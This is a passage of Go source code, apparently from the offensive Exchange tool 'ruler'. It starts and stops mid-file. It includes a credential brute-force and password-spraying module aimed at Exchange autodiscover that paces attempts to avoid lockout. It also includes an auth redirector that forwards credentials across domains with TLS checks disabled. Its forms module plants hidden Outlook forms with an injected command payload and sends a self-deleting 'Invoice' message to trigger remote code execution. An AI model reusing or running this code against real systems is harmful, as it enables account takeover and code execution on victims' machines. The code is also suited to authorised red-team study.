382 | utils.Trace.Printf("Authentication failed with primary email, trying secondary email [%s]\n", secondaryEmail)
383 | SessionConfig.Email = secondaryEmail
384 | return autodiscover(domain, mapi)
385 | }
386 | if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true {
387 | return nil, "", fmt.Errorf("Failed to authenticate: StatusCode [%d]\n", resp.StatusCode)
388 | }
389 | if autodiscoverStep < 2 {
390 | autodiscoverStep++
391 | return autodiscover(domain, mapi)
392 | }
393 | return nil, "", fmt.Errorf("Permission Denied or URL not found: StatusCode [%d]\n", resp.StatusCode)
394 | }
395 | if SessionConfig.Verbose == true {
396 | utils.Error.Printf("Failed, StatusCode [%d]\n", resp.StatusCode)
397 | }
398 | if autodiscoverStep < 2 {
399 | autodiscoverStep++
400 | return autodiscover(domain, mapi)
401 | }
402 | return nil, "", fmt.Errorf("Got an unexpected result: StatusCode [%d] %s\n", resp.StatusCode, body)
403 | }
404 |
405 | func redirectAutodiscover(redirdom string) (string, error) {
406 | utils.Trace.Printf("Redirected with new address [%s]\n", redirdom)
407 | //create the autodiscover url
408 | autodiscoverURL := fmt.Sprintf("http://autodiscover.%s/autodiscover/autodiscover.xml", redirdom)
409 | req, _ := http.NewRequest("GET", autodiscoverURL, nil)
410 | var DefaultTransport = &Transport
411 | resp, err := DefaultTransport.RoundTrip(req)
412 | if err != nil {
413 | return "", err
414 | }
415 | defer resp.Body.Close()
416 | utils.Trace.Printf("Authenticating through: %s\n", string(resp.Header.Get("Location")))
417 | //return the new autodiscover server location
418 | return resp.Header.Get("Location"), nil
419 | }
420 |
421 | //InsecureRedirectsO365 allows forwarding the Authorization header even when we shouldn't
422 | type InsecureRedirectsO365 struct {
423 | Transport http.RoundTripper
424 | User string
425 | Pass string
426 | Insecure bool
427 | }
428 |
429 | //RoundTrip custom redirector that allows us to forward the auth header, even when the domain changes.
430 | //This is needed as some office365 domains will redirect from autodiscover.domain.com to autodiscover.outlook.com
431 | //and Go does not forward Sensitive headers such as Authorization (https://golang.org/src/net/http/client.go#41)
432 | func (l InsecureRedirectsO365) RoundTrip(req *http.Request) (resp *http.Response, err error) {
433 | t := l.Transport
434 |
435 | if t == nil {
436 | t = &Transport
437 | }
438 | resp, err = t.RoundTrip(req)
439 | if err != nil {
440 | return
441 | }
442 | switch resp.StatusCode {
443 | case http.StatusMovedPermanently, http.StatusFound, http.StatusSeeOther, http.StatusTemporaryRedirect:
444 |
445 | utils.Trace.Printf("Request for %s redirected. Following to %s\n", req.URL, resp.Header.Get("Location"))
446 |
447 | URL, _ := url.Parse(resp.Header.Get("Location"))
448 | r, _ := parseTemplate(autodiscoverXML)
449 | //if the domains are different, we need to force the auth cookie to be passed along.. this is for redirects to office365
450 | client := http.Client{Transport: &http.Transport{
451 | TLSClientConfig: &tls.Config{InsecureSkipVerify: l.Insecure},
452 | }}
453 |
454 | req, err = http.NewRequest("POST", URL.String(), strings.NewReader(r))
455 | req.Header.Add("Content-Type", "text/xml")
456 | req.Header.Add("User-Agent", "ruler")
457 |
458 | req.Header.Add("X-MapiHttpCapability", "1") //we want MAPI info
459 | req.Header.Add("X-AnchorMailbox", l.User) //we want MAPI info
460 |
461 | req.URL, _ = url.Parse(resp.Header.Get("Location"))
462 | req.SetBasicAuth(l.User, l.Pass)
463 |
464 | resp, err = client.Do(req)
465 |
466 | }
467 | return
468 | }
469 |
--------------------------------------------------------------------------------
/autodiscover/brute.go:
--------------------------------------------------------------------------------
1 | package autodiscover
2 |
3 | import (
4 | "crypto/tls"
5 | "fmt"
6 | "io/ioutil"
7 | "net/http"
8 | "net/http/cookiejar"
9 | "regexp"
10 | "strings"
11 | "time"
12 | "net/url"
13 |
14 | "github.com/sensepost/ruler/http-ntlm"
15 | "github.com/sensepost/ruler/utils"
16 | )
17 |
18 | //Result struct holds the result of a bruteforce attempt
19 | type Result struct {
20 | Username string
21 | Password string
22 | Index int
23 | Status int
24 | Error error
25 | }
26 |
27 | var concurrency = 3 //limit the number of consecutive attempts
28 |
29 | var delay = 5
30 | var consc = 3
31 | var usernames []string
32 | var passwords []string
33 | var userpass []string
34 | var autodiscoverURL string
35 | var basic = false
36 | var verbose = false
37 | var insecure = false
38 | var stopSuccess = false
39 | var proxyURL string
40 | var user_as_pass = true
41 |
42 | func autodiscoverDomain(domain string) string {
43 | var autodiscoverURL string
44 |
45 | //check if this is just a domain or a redirect (starts with http[s]://)
46 | if m, _ := regexp.Match("http[s]?://", []byte(domain)); m == true {
47 | autodiscoverURL = domain
48 | utils.Info.Printf("Using end-point: %s\n", domain)
49 | } else {
50 | //create the autodiscover url
51 | if autodiscoverStep == 0 {
52 | utils.Info.Println("Trying to Autodiscover domain")
53 | autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), true)
54 | utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
55 | if autodiscoverURL == "" {
56 | autodiscoverStep++
57 | }
58 | }
59 | if autodiscoverStep == 1 {
60 | autodiscoverURL = createAutodiscover(fmt.Sprintf("autodiscover.%s", domain), false)
61 | utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
62 | if autodiscoverURL == "" {
63 | autodiscoverStep++
64 | }
65 | }
66 | if autodiscoverStep == 2 {
67 | autodiscoverURL = createAutodiscover(domain, true)
68 | utils.Trace.Printf("Autodiscover step %d - URL: %s\n", autodiscoverStep, autodiscoverURL)
69 | if autodiscoverURL == "" {
70 | return ""
71 | }
72 | }
73 | }
74 |
75 | req, err := http.NewRequest("GET", autodiscoverURL, nil)
76 | req.Header.Add("Content-Type", "text/xml")
77 |
78 | tr := &http.Transport{
79 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
80 | }
81 |
82 | if proxyURL != "" {
83 | proxy, err := url.Parse(proxyURL)
84 | if err != nil {
85 | return ""
86 | }
87 | tr = &http.Transport{Proxy: http.ProxyURL(proxy),
88 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
89 | }
90 | }
91 |
92 | client := http.Client{Transport: tr}
93 |
94 | resp, err := client.Do(req)
95 |
96 | if err != nil {
97 | if autodiscoverStep < 2 {
98 | autodiscoverStep++
99 | return autodiscoverDomain(domain)
100 | }
101 | return ""
102 | }
103 |
104 | //check if we got prompted for authentication, this is normally an indicator of a valid endpoint
105 | if resp.StatusCode == 401 || resp.StatusCode == 403 {
106 | return autodiscoverURL
107 | }
108 | if autodiscoverStep < 2 {
109 | autodiscoverStep++
110 | return autodiscoverDomain(domain)
111 | }
112 | return ""
113 | }
114 |
115 | //Init function to setup the brute-force session
116 | func Init(domain, usersFile, passwordsFile, userpassFile, pURL string, b, i, s, v bool, c, d, t int) error {
117 | stopSuccess = s
118 | insecure = i
119 | basic = b
120 | verbose = v
121 | delay = d
122 | consc = c
123 | concurrency = t
124 | proxyURL = pURL
125 |
126 | autodiscoverURL = autodiscoverDomain(domain)
127 |
128 | if autodiscoverURL == "" {
129 | return fmt.Errorf("No autodiscover end-point found")
130 | }
131 |
132 |
133 | if autodiscoverURL == "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" {
134 | basic = true
135 | }
136 |
137 | if userpassFile != "" {
138 | userpass = readFile(userpassFile)
139 | if userpass == nil {
140 | return fmt.Errorf("Unable to read userpass file")
141 | }
142 | return nil
143 | }
144 | usernames = readFile(usersFile)
145 | if usernames == nil {
146 | return fmt.Errorf("Unable to read usernames file")
147 | }
148 | passwords = readFile(passwordsFile)
149 | if passwords == nil {
150 | return fmt.Errorf("Unable to read passwords file")
151 | }
152 |
153 | return nil
154 | }
155 |
156 | //BruteForce function takes a domain/URL, file path to users and filepath to passwords whether to use BASIC auth and to trust insecure SSL
157 | //And whether to stop on success
158 | func BruteForce() {
159 |
160 | attempts := 0
161 | stp := false
162 |
163 | for index, p := range passwords {
164 | if index % 10 == 0 {
165 | utils.Info.Printf("%d of %d passwords checked",index,len(passwords))
166 | }
167 | if p != "" {
168 | attempts++
169 | }
170 | sem := make(chan bool, concurrency)
171 |
172 | for ui, u := range usernames {
173 | if u == "" || p == "" {
174 | continue
175 | }
176 |
177 | time.Sleep(time.Millisecond * 500) //lets not flood it
178 |
179 | sem <- true
180 |
181 | go func(u string, p string, i int) {
182 | defer func() { <-sem }()
183 | out := connect(autodiscoverURL, u, p, basic, insecure)
184 | out.Index = i
185 |
186 | if verbose == true && out.Status != 200 {
187 | utils.Fail.Printf("Failed: %s:%s\n", out.Username, out.Password)
188 | if out.Error != nil {
189 | utils.Error.Printf("An error occured in connection - %s\n", out.Error)
190 | }
191 | }
192 | if out.Status == 200 {
193 | utils.Info.Printf("\033[96mSuccess: %s:%s\033[0m\n", out.Username, out.Password)
194 | //remove username from username list (we don't need to brute something we know)
195 | usernames = append(usernames[:out.Index], usernames[out.Index+1:]...)
196 | if stopSuccess == true {
197 | stp = true
198 | }
199 | }
200 | }(u, p, ui)
201 |
202 | }
203 | if stp == true {
204 | return
205 | }
206 | for i := 0; i < cap(sem); i++ {
207 | sem <- true
208 | }
209 |
210 | if attempts == consc {
211 | utils.Info.Printf("\033[31mMultiple attempts. To prevent lockout - delaying for %d minutes.\033[0m\n", delay)
212 | time.Sleep(time.Minute * (time.Duration)(delay))
213 | attempts = 0
214 | }
215 | }
216 |
217 | if user_as_pass {
218 | sem := make(chan bool, concurrency)
219 |
220 | for ui, u := range usernames {
221 |
222 | time.Sleep(time.Millisecond * 500) //lets not flood it
223 |
224 | sem <- true
225 |
226 | go func(u string, p string, i int) {
227 | defer func() { <-sem }()
228 | out := connect(autodiscoverURL, u, p, basic, insecure)
229 | out.Index = i
230 |
231 | if verbose == true && out.Status != 200 {
232 | utils.Fail.Printf("Failed: %s:%s\n", out.Username, out.Password)
233 | if out.Error != nil {
234 | utils.Error.Printf("An error occured in connection - %s\n", out.Error)
235 | }
236 | }
237 | if out.Status == 200 {
238 | utils.Info.Printf("\033[96mSuccess: %s:%s\033[0m\n", out.Username, out.Password)
239 | //remove username from username list (we don't need to brute something we know)
240 | usernames = append(usernames[:out.Index], usernames[out.Index+1:]...)
241 | if stopSuccess == true {
242 | stp = true
243 | }
244 | }
245 | }(u, u, ui)
246 | }
247 | }
248 | }
249 |
250 | //UserPassBruteForce function does a bruteforce using a supplied user:pass file
251 | func UserPassBruteForce() {
252 |
253 | count := 0
254 | sem := make(chan bool, concurrency)
255 | stp := false
256 | for index, up := range userpass {
257 | if index % 10 == 0 {
258 | utils.Info.Printf("%d of %d checked",index,len(userpass))
259 | }
260 | count++
261 | if up == "" {
262 | continue
263 | }
264 | // verify colon-delimited username:password format
265 | s := strings.SplitN(up, ":", 2)
266 | if len(s) < 2 {
267 | utils.Fail.Printf("Skipping improperly formatted entry at line %d\n", count)
268 | continue
269 | }
270 | u, p := s[0], s[1]
271 | count = 0
272 |
273 | //skip blank username
274 | if u == "" {
275 | continue
276 | }
277 |
278 | time.Sleep(time.Millisecond * 500) //lets not flood it
279 |
280 | sem <- true
281 |
282 | go func(u string, p string) {
283 | defer func() { <-sem }()
284 | out := connect(autodiscoverURL, u, p, basic, insecure)
285 | if verbose == true && out.Status != 200 {
286 | utils.Fail.Printf("Failed: %s:%s\n", out.Username, out.Password)
287 | if out.Error != nil {
288 | utils.Error.Printf("An error occured in connection - %s\n", out.Error)
289 | }
290 | }
291 | if out.Status == 200 {
292 | utils.Info.Printf("\033[96mSuccess: %s:%s\033[0m\n", out.Username, out.Password)
293 | }
294 | if out.Status == 200 && stopSuccess == true {
295 | stp = true
296 | }
297 | }(u, p)
298 |
299 | }
300 | if stp == true {
301 | return
302 | }
303 | for i := 0; i < cap(sem); i++ {
304 | sem <- true
305 | }
306 | }
307 |
308 | func readFile(filename string) []string {
309 | var outputs []string
310 |
311 | data, err := ioutil.ReadFile(filename)
312 | if err != nil {
313 | utils.Error.Println("Input file not found")
314 | return nil
315 | }
316 |
317 | for _, line := range strings.Split(string(data), "\n") {
318 | outputs = append(outputs, line)
319 | }
320 | return outputs
321 | }
322 |
323 | func connect(autodiscoverURL, user, password string, basic, insecure bool) Result {
324 | result := Result{user, password, -1, -1, nil}
325 |
326 | cookie, _ := cookiejar.New(nil)
327 |
328 | tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
329 | DisableKeepAlives: true, //should fix mutex issues
330 | }
331 | if proxyURL != "" {
332 | proxy, err := url.Parse(proxyURL)
333 | if err != nil {
334 | result.Error = err
335 | return result
336 | }
337 | tr = &http.Transport{Proxy: http.ProxyURL(proxy),
338 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
339 | DisableKeepAlives: true,
340 | }
341 | }
342 | client := http.Client{Transport: tr}
343 |
344 | if basic == false {
345 | //check if this is a first request or a redirect
346 | //create an ntml http client
347 | client = http.Client{
348 | Transport: &httpntlm.NtlmTransport{
349 | Domain: "",
350 | User: user,
351 | Password: password,
352 | Insecure: insecure,
353 | CookieJar: cookie,
354 | },
355 | }
356 | }
357 |
358 | req, err := http.NewRequest("GET", autodiscoverURL, nil)
359 | req.Header.Add("Content-Type", "text/xml")
360 |
361 | //if basic authi is required, set auth header
362 | if basic == true {
363 | req.SetBasicAuth(user, password)
364 | }
365 |
366 | resp, err := client.Do(req)
367 |
368 | if err != nil {
369 | //check if this error was because of ntml auth when basic auth was expected.
370 | if m, _ := regexp.Match("illegal base64", []byte(err.Error())); m == true {
371 | client = http.Client{Transport: InsecureRedirectsO365{User: user, Pass: password, Insecure: insecure}}
372 | resp, err = client.Do(req)
373 | if err != nil {
374 | result.Error = err
375 | return result
376 | }
377 | } else {
378 |
379 | result.Error = err
380 | return result
381 | }
382 |
383 | }
384 | if resp != nil {
385 | defer resp.Body.Close()
386 | }
387 | result.Status = resp.StatusCode
388 | return result
389 | }
390 |
--------------------------------------------------------------------------------
/forms/rulerforms.go:
--------------------------------------------------------------------------------
1 | package forms
2 |
3 | import (
4 | "bufio"
5 | "bytes"
6 | "fmt"
7 | "os"
8 | "strings"
9 |
10 | "github.com/sensepost/ruler/mapi"
11 | "github.com/sensepost/ruler/utils"
12 | )
13 |
14 | //CreateFormAttachmentPointer creates the first attachment that holds info about the new form
15 | func CreateFormAttachmentPointer(folderid, messageid []byte) error {
16 | utils.Info.Println("Create Form Pointer Attachment")
17 | data := []byte("FormStg=%d\\FS525C.tmp\nMsgCls=IPM.Note.grr\nBaseMsgCls=IPM.Note\n") //don't think this is strictly necessary
18 | data = append(data, []byte{0x00}...)
19 | attachmentPropertyTags := make([]mapi.TaggedPropertyValue, 4)
20 | attachmentPropertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachMethod, PropertyValue: []byte{0x01, 0x00, 0x00, 0x00}}
21 | attachmentPropertyTags[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagRenderingPosition, PropertyValue: []byte{0xFF, 0xFF, 0xFF, 0xFF}}
22 | attachmentPropertyTags[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6900, PropertyValue: []byte{0x02, 0x00, 0x01, 0x00}} //prop value used by PidTagOfflineAddressBookTruncatedProps
23 | attachmentPropertyTags[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6902, PropertyValue: data}
24 | res, err := mapi.CreateMessageAttachment(folderid, messageid, attachmentPropertyTags)
25 |
26 | if err != nil {
27 | return err
28 | }
29 | //write the payload data to the attachment
30 | _, err = mapi.WriteAttachmentProperty(folderid, messageid, res.AttachmentID, mapi.PidTagAttachDataBinary, data)
31 | return err
32 | }
33 |
34 | //CreateFormAttachmentTemplate creates the template attachment holding the actual command to execute
35 | func CreateFormAttachmentTemplate(folderid, messageid []byte, pstr string) error {
36 | return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formtemplate.bin")
37 | }
38 |
39 | //CreateFormAttachmentForDeleteTemplate creates the template attachment holding the actual command to execute
40 | func CreateFormAttachmentForDeleteTemplate(folderid, messageid []byte, pstr string) error {
41 | return CreateFormAttachmentWithTemplate(folderid, messageid, pstr, "templates/formdeletetemplate.bin")
42 | }
43 |
44 | //CreateFormAttachmentWithTemplate creates a form with a specific template
45 | func CreateFormAttachmentWithTemplate(folderid, messageid []byte, pstr, templatepath string) error {
46 | utils.Info.Println("Create Form Template Attachment")
47 |
48 | attachmentPropertyTags := make([]mapi.TaggedPropertyValue, 4)
49 | attachmentPropertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachMethod, PropertyValue: []byte{0x01, 0x00, 0x00, 0x00}} //attach directly
50 | attachmentPropertyTags[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagRenderingPosition, PropertyValue: []byte{0xFF, 0xFF, 0xFF, 0xFF}}
51 | attachmentPropertyTags[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagAttachFilename, PropertyValue: utils.UniString("FS525C.tmp")} //a fake file name. this could probably be used as a mini signature ;)
52 | attachmentPropertyTags[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6900, PropertyValue: []byte{0x02, 0x00, 0x01, 0x00}} //this is the prop that seems to be used in the PidTagOfflineAddressBookTruncatedProps
53 | res, _ := mapi.CreateMessageAttachment(folderid, messageid, attachmentPropertyTags)
54 |
55 | //read the template file for our payload
56 | datafull, err := utils.ReadFile(templatepath)
57 | if err != nil {
58 | utils.Error.Println(err)
59 | if os.IsNotExist(err) {
60 | utils.Error.Println("Couldn't find formtemplate.bin. Ensure that this is present at `PWD`/templates/formtemplate.bin")
61 | }
62 | return err
63 | }
64 |
65 | //find index of MAGIC - our marker where we place the payload
66 | index := -1
67 | for k := 0; k < len(datafull)-5; k++ {
68 | v := datafull[k : k+5]
69 | if bytes.Equal(v, []byte{0x4D, 0x41, 0x47, 0x49, 0x43}) {
70 | index = k
71 | break
72 | }
73 | }
74 | if index == -1 {
75 | return fmt.Errorf("Couldn't find MAGIC string in template. Ensure you have a valid template.")
76 | }
77 | //create our payload
78 | payload := utils.UniString(pstr) //convert to Unicode string
79 | payload = payload[:len(payload)-2] //get rid of null byte
80 | remainder := 4096 - len(pstr) //calculate the length of our padding.
81 | rpr := utils.UniString(strings.Repeat(" ", remainder)) //generate padding
82 | payload = append(payload, rpr[:len(rpr)-2]...) //append padding (with null byte removed) to payload
83 | data := append([]byte{}, datafull[:index]...) //create new array with our template up to the index. doing it this way to force new array creation
84 | data = append(data, payload...) // append our payload+padding
85 | data = append(data, datafull[index+5:]...) //and append what is remaining of the template
86 |
87 | //write the template data into the attachment data field
88 | _, err = mapi.WriteAttachmentProperty(folderid, messageid, res.AttachmentID, mapi.PidTagAttachDataBinary, data)
89 | return err
90 | }
91 |
92 | //CreateFormMessage creates the associate message that holds the form data
93 | func CreateFormMessage(suffix, assocRule string) ([]byte, error) {
94 | folderid := mapi.AuthSession.Folderids[mapi.INBOX]
95 | propertyTagx := make([]mapi.TaggedPropertyValue, 10)
96 | var err error
97 |
98 | propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString("IPM.Microsoft.FolderDesign.FormsDescription")}
99 | propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookName, PropertyValue: utils.UniString(fmt.Sprintf("IPM.Note.%s", suffix))}
100 | propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookTruncatedProps, PropertyValue: []byte{0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01, 0x00, 0x03, 0x00, 0x01, 0x00, 0x05, 0x00, 0x01, 0x00}}
101 | propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookLangID, PropertyValue: []byte{0x00, 0x00, 0x00, 0x00}}
102 | propertyTagx[4] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOfflineAddressBookFileType, PropertyValue: []byte{0x00}}
103 | propertyTagx[5] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagDisplayName, PropertyValue: utils.UniString(" ")} //Keep the name "invisible" - there will be an entry in the UI but it will be appear blank - since it's simply a space
104 | propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :)
105 | propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)}
106 | propertyTagx[8] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagComment, PropertyValue: utils.UniString(assocRule)} //set this to indicate that a rule is present for this form
107 | propertyTagx[9] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagHidden, PropertyValue: []byte{0x01}}
108 |
109 | //create the message in the "associated" contents table for the inbox
110 | msg, err := mapi.CreateAssocMessage(folderid, propertyTagx)
111 |
112 | if err != nil {
113 | return nil, err
114 | }
115 |
116 | propertyTagx = make([]mapi.TaggedPropertyValue, 5)
117 | data := utils.EncodeNum(uint32(2)) //COUNT as a uint32 instead of the usual uint16
118 | data = append(data, utils.EncodeNum(uint64(281487861678082))...) //static
119 | data = append(data, utils.EncodeNum(uint64(281496451612674))...) //static
120 | propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag682C, PropertyValue: data}
121 | data = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
122 | propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6831, PropertyValue: append(utils.COUNT(len(data)), data...)}
123 | data = []byte{0x0C, 0x0D, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00}
124 | propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6832, PropertyValue: append(utils.COUNT(len(data)), data...)}
125 | propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6B00, PropertyValue: append([]byte("1112110010000000"), []byte{0x00}...)}
126 |
127 | data, err = utils.ReadFile("templates/img0.bin")
128 | if err != nil {
129 | utils.Error.Println(err)
130 | if os.IsNotExist(err) {
131 | utils.Error.Println("Couldn't find img0.bin. Ensure that this is present at `PWD`/templates/img0.bin")
132 | }
133 | return nil, err
134 | }
135 | //the small icon for the message
136 | propertyTagx[4] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6823, PropertyValue: append(utils.COUNT(len(data)), data...)}
137 | if _, err = mapi.SetMessageProperties(folderid, msg.MessageID, propertyTagx); err != nil {
138 | return nil, err
139 | }
140 |
141 | propertyTagx = make([]mapi.TaggedPropertyValue, 4)
142 | data, err = utils.ReadFile("templates/img1.bin")
143 | if err != nil {
144 | utils.Error.Println(err)
145 | if os.IsNotExist(err) {
146 | utils.Error.Println("Couldn't find img1.bin. Ensure that this is present at `PWD`/templates/img1.bin")
147 | }
148 | return nil, err
149 | }
150 | //the large icon for the message
151 | propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6824, PropertyValue: append(utils.COUNT(len(data)), data...)}
152 | propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6827, PropertyValue: append([]byte("en"), []byte{0x00}...)} //Set language value
153 | propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABCompressedSize, PropertyValue: []byte{0x20, 0xF0, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}} //fixed value, not sure how this is calculated or if it can be kept static.
154 | propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABDN, PropertyValue: utils.CookieGen()} //generate a random GUID
155 |
156 | _, err = mapi.SetMessageProperties(folderid, msg.MessageID, propertyTagx)
157 |
158 | return msg.MessageID, err
159 | }
160 |
161 | //CreateFormTriggerMessage creates a valid message to trigger RCE through an existing form
162 | //requires a valid suffix to be supplied
163 | func CreateFormTriggerMessage(suffix, subject, body string) ([]byte, error) {
164 | folderid := mapi.AuthSession.Folderids[mapi.INBOX]
165 | propertyTagx := make([]mapi.TaggedPropertyValue, 8)
166 |
167 | propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString(fmt.Sprintf("IPM.Note.%s", suffix))}
168 | propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagConversationTopic, PropertyValue: utils.UniString("Invoice")}
169 | propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagIconIndex, PropertyValue: []byte{0x00, 0x00, 0x00, 0x01}}
170 | propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageEditorFormat, PropertyValue: []byte{0x02, 0x00, 0x00, 0x00}}
171 | propertyTagx[4] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagNativeBody, PropertyValue: []byte{0x00, 0x00, 0x00, 0x03}}
172 | propertyTagx[5] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSubject, PropertyValue: utils.UniString(subject)}
173 | propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagNormalizedSubject, PropertyValue: utils.UniString(subject)}
174 | propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagDeleteAfterSubmit, PropertyValue: []byte{0x01}}
175 |
176 | msg, er := mapi.CreateMessage(folderid, propertyTagx) //create the message
177 | if er != nil {
178 | return nil, er
179 | }
180 |
181 | bodyv := string(append([]byte{0x41, 0x41}, []byte(body)...))
182 | bodyProp := mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagBody, PropertyValue: utils.UniString(bodyv)}
183 | if _, er := mapi.SetPropertyFast(folderid, msg.MessageID, bodyProp); er != nil {
184 | return nil, er
185 | }
186 | return msg.MessageID, nil
187 | }
188 |
189 | //DeleteForm is used to delete a specific form stored in an associated table
190 | func DeleteForm(suffix string, folderid []byte) ([]byte, error) {
191 |
192 | columns := make([]mapi.PropertyTag, 3)
193 | columns[0] = mapi.PidTagOfflineAddressBookName
194 | columns[1] = mapi.PidTagMid
195 | columns[2] = mapi.PidTagComment
196 |
197 | assoctable, err := mapi.GetAssociatedContents(folderid, columns)
198 | if err != nil {
199 | return nil, err
200 | }
201 | var foundMsgID []byte
202 | var hasRule string
203 | for k := 0; k < len(assoctable.RowData); k++ {
204 | if assoctable.RowData[k][0].Flag != 0x00 {
205 | continue
206 | }
207 | name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray)
208 | messageid := assoctable.RowData[k][1].ValueArray
209 | if name != "" && name == fmt.Sprintf("IPM.Note.%s", suffix) {
210 | foundMsgID = messageid
211 | hasRule = utils.FromUnicode(assoctable.RowData[k][2].ValueArray)
212 | break
213 | }
214 | }
215 | if len(foundMsgID) == 0 {
216 | return nil, fmt.Errorf("No form with supplied suffix found!")
217 | }
218 |
219 | //delete the message
220 | if _, err = mapi.DeleteMessages(folderid, 1, foundMsgID); err != nil {
221 | return nil, err
222 | }
223 |
224 | utils.Info.Println("Form deleted successfully.")
225 |
226 | if hasRule != "NORULE" && hasRule != "" {
227 | utils.Question.Print("The form has an associated rule, delete this? [y/N]: ")
228 | reader := bufio.NewReader(os.Stdin)
229 | ans, _ := reader.ReadString('\n')
230 | if ans == "y\n" || ans == "Y\n" || ans == "yes\n" {
231 | rules, er := mapi.DisplayRules()
232 | if er != nil {
233 | return nil, er
234 | }
235 | for _, v := range rules {
236 | if utils.FromUnicode(v.RuleName) == hasRule {
237 | ruleid := v.RuleID
238 | err = mapi.ExecuteMailRuleDelete(ruleid)
239 | if err != nil {
240 | utils.Error.Printf("Failed to delete rule")
241 | return nil, err
242 | }
243 | utils.Info.Println("Rule deleted successfully")
244 | }
245 | }
246 | } else {
247 | utils.Info.Printf("Rule not deleted. To delete rule, use rule name [%s]\n", hasRule)
248 | }
249 | }
250 |
251 | return nil, nil
252 | }
253 |
254 | //DisplayForms is used to display all forms in the specified folder
255 | func DisplayForms(folderid []byte) error {
256 |
257 | columns := make([]mapi.PropertyTag, 2)
258 | columns[0] = mapi.PidTagOfflineAddressBookName
259 | columns[1] = mapi.PidTagMid
260 | assoctable, err := mapi.GetAssociatedContents(folderid, columns)
261 | if err != nil {
262 | return err
263 | }
264 | var forms []string
265 |
266 | for k := 0; k < len(assoctable.RowData); k++ {
267 | if assoctable.RowData[k][0].Flag != 0x00 {
268 | continue
269 | }
270 | name := utils.FromUnicode(assoctable.RowData[k][0].ValueArray)
271 | if name != "" && len(name) > 3 {
272 | forms = append(forms, name)
273 | }
274 | }
275 | if len(forms) > 0 {
276 | utils.Info.Printf("Found %d forms\n", len(forms))
277 | for _, v := range forms {
278 | utils.Info.Println(v)
279 | }
280 | } else {
281 | utils.Info.Printf("No Forms Found\n")
282 | }
283 |
284 | return nil
285 | }
286 |
287 | //CheckForm verfies that a form does not already exist.
288 | //having multiple forms with same suffix causes issues in outlook..
289 | func CheckForm(folderid []byte, suffix string) error {
290 | columns := make([]mapi.PropertyTag, 2)
291 | columns[0] = mapi.PidTagOfflineAddressBookName
292 | columns[1] = mapi.PidTagMid
293 |
294 | assoctable, err := mapi.GetAssociatedContents(folderid, columns)
295 | if err != nil {
296 | return err
297 | }
298 |
299 | formname := fmt.Sprintf("IPM.Note.%s", suffix)
300 |
301 | for k := 0; k < len(assoctable.RowData); k++ {
302 | if assoctable.RowData[k][0].Flag != 0x00 {
303 | continue
